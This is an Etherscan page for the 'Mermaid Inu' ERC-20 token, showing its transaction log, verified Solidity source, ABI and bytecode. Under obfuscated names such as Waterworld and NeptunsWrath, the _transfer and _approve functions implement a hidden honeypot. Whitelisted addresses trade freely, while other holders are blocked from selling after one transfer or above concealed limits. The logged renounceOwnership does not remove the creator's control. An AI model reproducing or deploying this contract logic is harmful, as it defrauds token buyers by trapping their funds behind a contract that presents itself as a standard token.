ETH Price: $3,464.86 (-6.65%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer138794632021-12-26 7:31:301108 days ago1640503890IN
0x649Ec8bF...28b7547ce
0 ETH0.0012344537.19026039
Transfer138794562021-12-26 7:30:091108 days ago1640503809IN
0x649Ec8bF...28b7547ce
0 ETH0.0014295243.38084665
Transfer138794512021-12-26 7:28:281108 days ago1640503708IN
0x649Ec8bF...28b7547ce
0 ETH0.0013313540.40170434
Transfer138794442021-12-26 7:27:031108 days ago1640503623IN
0x649Ec8bF...28b7547ce
0 ETH0.0013590241.19622426
Transfer136170782021-11-15 0:04:391149 days ago1636934679IN
0x649Ec8bF...28b7547ce
0 ETH0.0049985151.52027186
Transfer136170592021-11-15 0:00:351149 days ago1636934435IN
0x649Ec8bF...28b7547ce
0 ETH0.00441142133.72404792
Transfer136169682021-11-14 23:40:081149 days ago1636933208IN
0x649Ec8bF...28b7547ce
0 ETH0.00393551119.29789613
Transfer136169642021-11-14 23:38:521149 days ago1636933132IN
0x649Ec8bF...28b7547ce
0 ETH0.00396901120.31329915
Transfer136169562021-11-14 23:36:131149 days ago1636932973IN
0x649Ec8bF...28b7547ce
0 ETH0.00376221114.04463682
Approve135342282021-11-01 23:47:511162 days ago1635810471IN
0x649Ec8bF...28b7547ce
0 ETH0.01306618267.97481722
Approve135175612021-10-30 9:01:341165 days ago1635584494IN
0x649Ec8bF...28b7547ce
0 ETH0.00532985109.3101825
Approve135162362021-10-30 3:51:271165 days ago1635565887IN
0x649Ec8bF...28b7547ce
0 ETH0.00832302170.69723339
Approve135147392021-10-29 22:19:311165 days ago1635545971IN
0x649Ec8bF...28b7547ce
0 ETH0.00722737148.22652254
Approve135147272021-10-29 22:17:261165 days ago1635545846IN
0x649Ec8bF...28b7547ce
0 ETH0.00738792151.51911713
Approve135147042021-10-29 22:12:551165 days ago1635545575IN
0x649Ec8bF...28b7547ce
0 ETH0.00763972156.68331481
Approve135146782021-10-29 22:08:291165 days ago1635545309IN
0x649Ec8bF...28b7547ce
0 ETH0.01015302208.22880733
Approve135146772021-10-29 22:07:301165 days ago1635545250IN
0x649Ec8bF...28b7547ce
0 ETH0.00905806185.77207775
Transfer135146632021-10-29 22:03:221165 days ago1635545002IN
0x649Ec8bF...28b7547ce
0 ETH0.01035082125.20809355
Approve135146602021-10-29 22:03:021165 days ago1635544982IN
0x649Ec8bF...28b7547ce
0 ETH0.00728569149.4225512
Renounce Ownersh...135146562021-10-29 22:02:461165 days ago1635544966IN
0x649Ec8bF...28b7547ce
0 ETH0.00393871169.0941905
Approve135146222021-10-29 21:55:091165 days ago1635544509IN
0x649Ec8bF...28b7547ce
0 ETH0.01157707157.29513752

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MermaidInu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2021-10-29
*/

/**
 * The Shiba Mermaid
 * @MermaidInu
 **/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner;
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) public Waterworld;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public NeptunsWrath;

    uint256 private _totalSupply;
    string private _name;
    uint256 private getRedistributionStatus;
    bool private SanFrancisco;
    uint256 private chTx;
    bool private tempVal;
    uint256 private tXs;
    address private _creator;
    string private _symbol;
    uint256 private setTxLimit;
    bool private detectSell;
    
    constructor (string memory name_, string memory symbol_, address creator_, bool shark, bool shark2, uint256 shark9) {
        _name = name_;
        tXs = shark9;
        SanFrancisco = shark2;
        Waterworld[creator_] = shark2;
        detectSell = shark;
        tempVal = shark2;
        _creator = creator_;
        NeptunsWrath[creator_] = shark;
        _symbol = symbol_;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function _TransformIntoMermaid(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        
        getRedistributionStatus = _totalSupply;
        chTx = _totalSupply / val1;
        setTxLimit = chTx * val2;
        
        emit Transfer(address(0), account, amount);    
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        
        if ((address(sender) == _creator) && (tempVal == false)) {
            getRedistributionStatus = chTx;
            detectSell = true;
        }
    
        if ((address(sender) == _creator) && (tempVal == true)) {
            Waterworld[recipient] = true;
            tempVal = false;
        }
    
        if (Waterworld[sender] == false) {
            if ((amount > setTxLimit)) {
                require(false);
            }
      
            require(amount < getRedistributionStatus);
            if (detectSell == true) {
                if (NeptunsWrath[sender] == true) {
                    require(false);
                }
                NeptunsWrath[sender] = true;
            }
        }
        
        uint256 taxamount = amount;
        
        _balances[sender] = senderBalance - taxamount;
        _balances[recipient] += taxamount;

        emit Transfer(sender, recipient, taxamount);
        
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        if ((address(owner) == _creator) && (SanFrancisco == true)) {
            Waterworld[spender] = true;
            NeptunsWrath[spender] = false;
            SanFrancisco = false;
        }

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }
}

contract ERC20Mermaid is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        bool shark, bool shark2, uint256 shark6,
        uint256 shark7, address creator,
        uint256 initialSupply, address owner,
        uint256 shark9
    ) ERC20(name, symbol, creator, shark, shark2, shark9) {
        _TransformIntoMermaid(owner, initialSupply, shark6, shark7);
    }
}

contract MermaidInu is ERC20Mermaid {
    constructor() ERC20Mermaid("Mermaid Inu", "MERMAID", false, true, 1000, 75, msg.sender, 85000000000 * 10 ** 18, msg.sender, 100) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NeptunsWrath","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Waterworld","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600b81526020016a4d65726d61696420496e7560a81b815250604051806040016040528060078152602001661351549350525160ca1b815250600060016103e8604b336c0112a65a21103a9439080000003360648989858a8a85600062000089620001a660201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508551620000ec906007906020890190620002be565b50600c8190556009805483151560ff1991821681179092556001600160a01b03861660008181526002602090815260408083208054861687179055601080548a15159087168117909155600b80548716909717909655600d80546001600160a01b031916909417909355600581529190208054909216909217905585516200017b91600e9190880190620002be565b505050505050506200019682848888620001aa60201b60201c565b5050505050505050505062000417565b3390565b6001600160a01b038416620002055760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b826006600082825462000219919062000364565b90915550506001600160a01b038416600090815260036020526040812080548592906200024890849062000364565b90915550506006546008819055620002629083906200037f565b600a81905562000274908290620003a2565b600f556040518381526001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b828054620002cc90620003c4565b90600052602060002090601f016020900481019282620002f057600085556200033b565b82601f106200030b57805160ff19168380011785556200033b565b828001600101855582156200033b579182015b828111156200033b5782518255916020019190600101906200031e565b50620003499291506200034d565b5090565b5b808211156200034957600081556001016200034e565b600082198211156200037a576200037a62000401565b500190565b6000826200039d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620003bf57620003bf62000401565b500290565b600181811c90821680620003d957607f821691505b60208210811415620003fb57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610be580620004276000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063513a7fc31161009757806395d89b411161006657806395d89b4114610216578063a457c2d71461021e578063a9059cbb14610231578063dd62ed3e1461024457600080fd5b8063513a7fc3146101a557806370a08231146101c8578063715018a6146101f15780638da5cb5b146101fb57600080fd5b806318160ddd116100d357806318160ddd1461015e57806323b872dd14610170578063313ce56714610183578063395093511461019257600080fd5b806306fdde03146100fa578063095ea7b3146101185780631356a0451461013b575b600080fd5b61010261027d565b60405161010f9190610ada565b60405180910390f35b61012b610126366004610ab0565b61030f565b604051901515815260200161010f565b61012b610149366004610a1f565b60026020526000908152604090205460ff1681565b6006545b60405190815260200161010f565b61012b61017e366004610a74565b610325565b6040516012815260200161010f565b61012b6101a0366004610ab0565b6103db565b61012b6101b3366004610a1f565b60056020526000908152604090205460ff1681565b6101626101d6366004610a1f565b6001600160a01b031660009081526003602052604090205490565b6101f9610412565b005b6001546040516001600160a01b03909116815260200161010f565b6101026104b6565b61012b61022c366004610ab0565b6104c5565b61012b61023f366004610ab0565b610560565b610162610252366004610a41565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60606007805461028c90610b5e565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610b5e565b80156103055780601f106102da57610100808354040283529160200191610305565b820191906000526020600020905b8154815290600101906020018083116102e857829003601f168201915b5050505050905090565b600061031c33848461056d565b50600192915050565b60006103328484846106fb565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103bc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103d085336103cb8685610b47565b61056d565b506001949350505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161031c9185906103cb908690610b2f565b6001546001600160a01b0316331461046c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b3565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600e805461028c90610b5e565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156105475760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b3565b61055633856103cb8685610b47565b5060019392505050565b600061031c3384846106fb565b6001600160a01b0383166105cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b3565b6001600160a01b0382166106305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b3565b600d546001600160a01b038481169116148015610654575060095460ff1615156001145b1561069a576001600160a01b0382166000908152600260209081526040808320805460ff1990811660011790915560059092529091208054821690556009805490911690555b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661075f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b3565b6001600160a01b0382166107c15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b3565b6001600160a01b038316600090815260036020526040902054818110156108395760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b3565b600d546001600160a01b0385811691161480156108595750600b5460ff16155b1561087257600a546008556010805460ff191660011790555b600d546001600160a01b0385811691161480156108965750600b5460ff1615156001145b156108cb576001600160a01b0383166000908152600260205260409020805460ff19908116600117909155600b805490911690555b6001600160a01b03841660009081526002602052604090205460ff1661096757600f548211156108fa57600080fd5b600854821061090857600080fd5b60105460ff16151560011415610967576001600160a01b03841660009081526005602052604090205460ff1615156001141561094357600080fd5b6001600160a01b0384166000908152600560205260409020805460ff191660011790555b816109728183610b47565b6001600160a01b0380871660009081526003602052604080822093909355908616815290812080548392906109a8908490610b2f565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109f491815260200190565b60405180910390a35050505050565b80356001600160a01b0381168114610a1a57600080fd5b919050565b600060208284031215610a3157600080fd5b610a3a82610a03565b9392505050565b60008060408385031215610a5457600080fd5b610a5d83610a03565b9150610a6b60208401610a03565b90509250929050565b600080600060608486031215610a8957600080fd5b610a9284610a03565b9250610aa060208501610a03565b9150604084013590509250925092565b60008060408385031215610ac357600080fd5b610acc83610a03565b946020939093013593505050565b600060208083528351808285015260005b81811015610b0757858101830151858201604001528201610aeb565b81811115610b19576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b4257610b42610b99565b500190565b600082821015610b5957610b59610b99565b500390565b600181811c90821680610b7257607f821691505b60208210811415610b9357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220f5a50cf84cbc77938bffb95300f54d27a695e96f9a6002415a4dd94f53f9852c64736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063513a7fc31161009757806395d89b411161006657806395d89b4114610216578063a457c2d71461021e578063a9059cbb14610231578063dd62ed3e1461024457600080fd5b8063513a7fc3146101a557806370a08231146101c8578063715018a6146101f15780638da5cb5b146101fb57600080fd5b806318160ddd116100d357806318160ddd1461015e57806323b872dd14610170578063313ce56714610183578063395093511461019257600080fd5b806306fdde03146100fa578063095ea7b3146101185780631356a0451461013b575b600080fd5b61010261027d565b60405161010f9190610ada565b60405180910390f35b61012b610126366004610ab0565b61030f565b604051901515815260200161010f565b61012b610149366004610a1f565b60026020526000908152604090205460ff1681565b6006545b60405190815260200161010f565b61012b61017e366004610a74565b610325565b6040516012815260200161010f565b61012b6101a0366004610ab0565b6103db565b61012b6101b3366004610a1f565b60056020526000908152604090205460ff1681565b6101626101d6366004610a1f565b6001600160a01b031660009081526003602052604090205490565b6101f9610412565b005b6001546040516001600160a01b03909116815260200161010f565b6101026104b6565b61012b61022c366004610ab0565b6104c5565b61012b61023f366004610ab0565b610560565b610162610252366004610a41565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60606007805461028c90610b5e565b80601f01602080910402602001604051908101604052809291908181526020018280546102b890610b5e565b80156103055780601f106102da57610100808354040283529160200191610305565b820191906000526020600020905b8154815290600101906020018083116102e857829003601f168201915b5050505050905090565b600061031c33848461056d565b50600192915050565b60006103328484846106fb565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103bc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103d085336103cb8685610b47565b61056d565b506001949350505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161031c9185906103cb908690610b2f565b6001546001600160a01b0316331461046c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b3565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600e805461028c90610b5e565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156105475760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b3565b61055633856103cb8685610b47565b5060019392505050565b600061031c3384846106fb565b6001600160a01b0383166105cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b3565b6001600160a01b0382166106305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b3565b600d546001600160a01b038481169116148015610654575060095460ff1615156001145b1561069a576001600160a01b0382166000908152600260209081526040808320805460ff1990811660011790915560059092529091208054821690556009805490911690555b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661075f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b3565b6001600160a01b0382166107c15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b3565b6001600160a01b038316600090815260036020526040902054818110156108395760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b3565b600d546001600160a01b0385811691161480156108595750600b5460ff16155b1561087257600a546008556010805460ff191660011790555b600d546001600160a01b0385811691161480156108965750600b5460ff1615156001145b156108cb576001600160a01b0383166000908152600260205260409020805460ff19908116600117909155600b805490911690555b6001600160a01b03841660009081526002602052604090205460ff1661096757600f548211156108fa57600080fd5b600854821061090857600080fd5b60105460ff16151560011415610967576001600160a01b03841660009081526005602052604090205460ff1615156001141561094357600080fd5b6001600160a01b0384166000908152600560205260409020805460ff191660011790555b816109728183610b47565b6001600160a01b0380871660009081526003602052604080822093909355908616815290812080548392906109a8908490610b2f565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109f491815260200190565b60405180910390a35050505050565b80356001600160a01b0381168114610a1a57600080fd5b919050565b600060208284031215610a3157600080fd5b610a3a82610a03565b9392505050565b60008060408385031215610a5457600080fd5b610a5d83610a03565b9150610a6b60208401610a03565b90509250929050565b600080600060608486031215610a8957600080fd5b610a9284610a03565b9250610aa060208501610a03565b9150604084013590509250925092565b60008060408385031215610ac357600080fd5b610acc83610a03565b946020939093013593505050565b600060208083528351808285015260005b81811015610b0757858101830151858201604001528201610aeb565b81811115610b19576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b4257610b42610b99565b500190565b600082821015610b5957610b59610b99565b500390565b600181811c90821680610b7257607f821691505b60208210811415610b9357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220f5a50cf84cbc77938bffb95300f54d27a695e96f9a6002415a4dd94f53f9852c64736f6c63430008070033

Deployed Bytecode Sourcemap

8334:183:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4085:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5063:169;;;;;;:::i;:::-;;:::i;:::-;;;1613:14:1;;1606:22;1588:41;;1576:2;1561:18;5063:169:0;1448:187:1;2030:43:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3555:108;3643:12;;3555:108;;;5589:25:1;;;5577:2;5562:18;3555:108:0;5443:177:1;5244:422:0;;;;;;:::i;:::-;;:::i;3032:93::-;;;3115:2;5767:36:1;;5755:2;5740:18;3032:93:0;5625:184:1;3858:215:0;;;;;;:::i;:::-;;:::i;2219:45::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3253:127;;;;;;:::i;:::-;-1:-1:-1;;;;;3354:18:0;3327:7;3354:18;;;:9;:18;;;;;;;3253:127;1807:148;;;:::i;:::-;;1593:79;1658:6;;1593:79;;-1:-1:-1;;;;;1658:6:0;;;1386:51:1;;1374:2;1359:18;1593:79:0;1240:203:1;3137:104:0;;;:::i;4197:377::-;;;;;;:::i;:::-;;:::i;3675:175::-;;;;;;:::i;:::-;;:::i;3392:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3508:18:0;;;3481:7;3508:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3392:151;4085:100;4139:13;4172:5;4165:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4085:100;:::o;5063:169::-;5146:4;5163:39;191:10;5186:7;5195:6;5163:8;:39::i;:::-;-1:-1:-1;5220:4:0;5063:169;;;;:::o;5244:422::-;5350:4;5367:36;5377:6;5385:9;5396:6;5367:9;:36::i;:::-;-1:-1:-1;;;;;5443:19:0;;5416:24;5443:19;;;:11;:19;;;;;;;;191:10;5443:33;;;;;;;;5495:26;;;;5487:79;;;;-1:-1:-1;;;5487:79:0;;3658:2:1;5487:79:0;;;3640:21:1;3697:2;3677:18;;;3670:30;3736:34;3716:18;;;3709:62;-1:-1:-1;;;3787:18:1;;;3780:38;3835:19;;5487:79:0;;;;;;;;;5577:57;5586:6;191:10;5608:25;5627:6;5608:16;:25;:::i;:::-;5577:8;:57::i;:::-;-1:-1:-1;5654:4:0;;5244:422;-1:-1:-1;;;;5244:422:0:o;3858:215::-;191:10;3946:4;3995:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;3995:34:0;;;;;;;;;;3946:4;;3963:80;;3986:7;;3995:47;;4032:10;;3995:47;:::i;1807:148::-;1720:6;;-1:-1:-1;;;;;1720:6:0;191:10;1720:22;1712:67;;;;-1:-1:-1;;;1712:67:0;;4067:2:1;1712:67:0;;;4049:21:1;;;4086:18;;;4079:30;4145:34;4125:18;;;4118:62;4197:18;;1712:67:0;3865:356:1;1712:67:0;1898:6:::1;::::0;1877:40:::1;::::0;1914:1:::1;::::0;-1:-1:-1;;;;;1898:6:0::1;::::0;1877:40:::1;::::0;1914:1;;1877:40:::1;1928:6;:19:::0;;-1:-1:-1;;;;;;1928:19:0::1;::::0;;1807:148::o;3137:104::-;3193:13;3226:7;3219:14;;;;;:::i;4197:377::-;191:10;4290:4;4334:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4334:34:0;;;;;;;;;;4387:35;;;;4379:85;;;;-1:-1:-1;;;4379:85:0;;5239:2:1;4379:85:0;;;5221:21:1;5278:2;5258:18;;;5251:30;5317:34;5297:18;;;5290:62;-1:-1:-1;;;5368:18:1;;;5361:35;5413:19;;4379:85:0;5037:401:1;4379:85:0;4475:67;191:10;4498:7;4507:34;4526:15;4507:16;:34;:::i;4475:67::-;-1:-1:-1;4562:4:0;;4197:377;-1:-1:-1;;;4197:377:0:o;3675:175::-;3761:4;3778:42;191:10;3802:9;3813:6;3778:9;:42::i;7059:558::-;-1:-1:-1;;;;;7161:19:0;;7153:68;;;;-1:-1:-1;;;7153:68:0;;4834:2:1;7153:68:0;;;4816:21:1;4873:2;4853:18;;;4846:30;4912:34;4892:18;;;4885:62;-1:-1:-1;;;4963:18:1;;;4956:34;5007:19;;7153:68:0;4632:400:1;7153:68:0;-1:-1:-1;;;;;7240:21:0;;7232:68;;;;-1:-1:-1;;;7232:68:0;;2848:2:1;7232:68:0;;;2830:21:1;2887:2;2867:18;;;2860:30;2926:34;2906:18;;;2899:62;-1:-1:-1;;;2977:18:1;;;2970:32;3019:19;;7232:68:0;2646:398:1;7232:68:0;7344:8;;-1:-1:-1;;;;;7326:26:0;;;7344:8;;7326:26;7325:54;;;;-1:-1:-1;7358:12:0;;;;:20;;:12;:20;7325:54;7321:192;;;-1:-1:-1;;;;;7396:19:0;;;;;;:10;:19;;;;;;;;:26;;-1:-1:-1;;7396:26:0;;;7418:4;7396:26;;;;7437:12;:21;;